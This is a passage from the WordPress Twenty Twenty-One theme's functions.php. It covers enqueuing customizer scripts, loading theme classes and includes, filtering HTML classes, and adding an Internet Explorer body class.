 * @return void
 */
function twenty_twenty_one_non_latin_languages() {
	$custom_css = twenty_twenty_one_get_non_latin_css( 'front-end' );

	if ( $custom_css ) {
		wp_add_inline_style( 'twenty-twenty-one-style', $custom_css );
	}
}
add_action( 'wp_enqueue_scripts', 'twenty_twenty_one_non_latin_languages' );

// SVG Icons class.
require get_template_directory() . '/classes/class-twenty-twenty-one-svg-icons.php';

// Custom color classes.
require get_template_directory() . '/classes/class-twenty-twenty-one-custom-colors.php';
new Twenty_Twenty_One_Custom_Colors();

// Enhance the theme by hooking into WordPress.
require get_template_directory() . '/inc/template-functions.php';

// Menu functions and filters.
require get_template_directory() . '/inc/menu-functions.php';

// Custom template tags for the theme.
require get_template_directory() . '/inc/template-tags.php';

// Customizer additions.
require get_template_directory() . '/classes/class-twenty-twenty-one-customize.php';
new Twenty_Twenty_One_Customize();

// Block Patterns.
require get_template_directory() . '/inc/block-patterns.php';

// Block Styles.
require get_template_directory() . '/inc/block-styles.php';

// Dark Mode.
require_once get_template_directory() . '/classes/class-twenty-twenty-one-dark-mode.php';
new Twenty_Twenty_One_Dark_Mode();

/**
 * Enqueue scripts for the customizer preview.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @return void
 */
function twentytwentyone_customize_preview_init() {
	wp_enqueue_script(
		'twentytwentyone-customize-helpers',
		get_theme_file_uri( '/assets/js/customize-helpers.js' ),
		array(),
		wp_get_theme()->get( 'Version' ),
		true
	);

	wp_enqueue_script(
		'twentytwentyone-customize-preview',
		get_theme_file_uri( '/assets/js/customize-preview.js' ),
		array( 'customize-preview', 'customize-selective-refresh', 'jquery', 'twentytwentyone-customize-helpers' ),
		wp_get_theme()->get( 'Version' ),
		true
	);
}
add_action( 'customize_preview_init', 'twentytwentyone_customize_preview_init' );

/**
 * Enqueue scripts for the customizer.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @return void
 */
function twentytwentyone_customize_controls_enqueue_scripts() {

	wp_enqueue_script(
		'twentytwentyone-customize-helpers',
		get_theme_file_uri( '/assets/js/customize-helpers.js' ),
		array(),
		wp_get_theme()->get( 'Version' ),
		true
	);
}
add_action( 'customize_controls_enqueue_scripts', 'twentytwentyone_customize_controls_enqueue_scripts' );

/**
 * Calculate classes for the main <html> element.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @return void
 */
function twentytwentyone_the_html_classes() {
	/**
	 * Filters the classes for the main <html> element.
	 *
	 * @since Twenty Twenty-One 1.0
	 *
	 * @param string The list of classes. Default empty string.
	 */
	$classes = apply_filters( 'twentytwentyone_html_classes', '' );
	if ( ! $classes ) {
		return;
	}
	echo 'class="' . esc_attr( $classes ) . '"';
}

/**
 * Add "is-IE" class to body if the user is on Internet Explorer.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @return void
 */
function twentytwentyone_add_ie_class() {
	?>
	<script>
	if ( -1 !== navigator.userAgent.indexOf( 'MSIE' ) || -1 !== navigator.appVersion.indexOf( 'Trident/' ) ) {
		document.body.classList.add( 'is-IE' );
	}
	</script>
	<?php
}
add_action( 'wp_footer', 'twentytwentyone_add_ie_class' );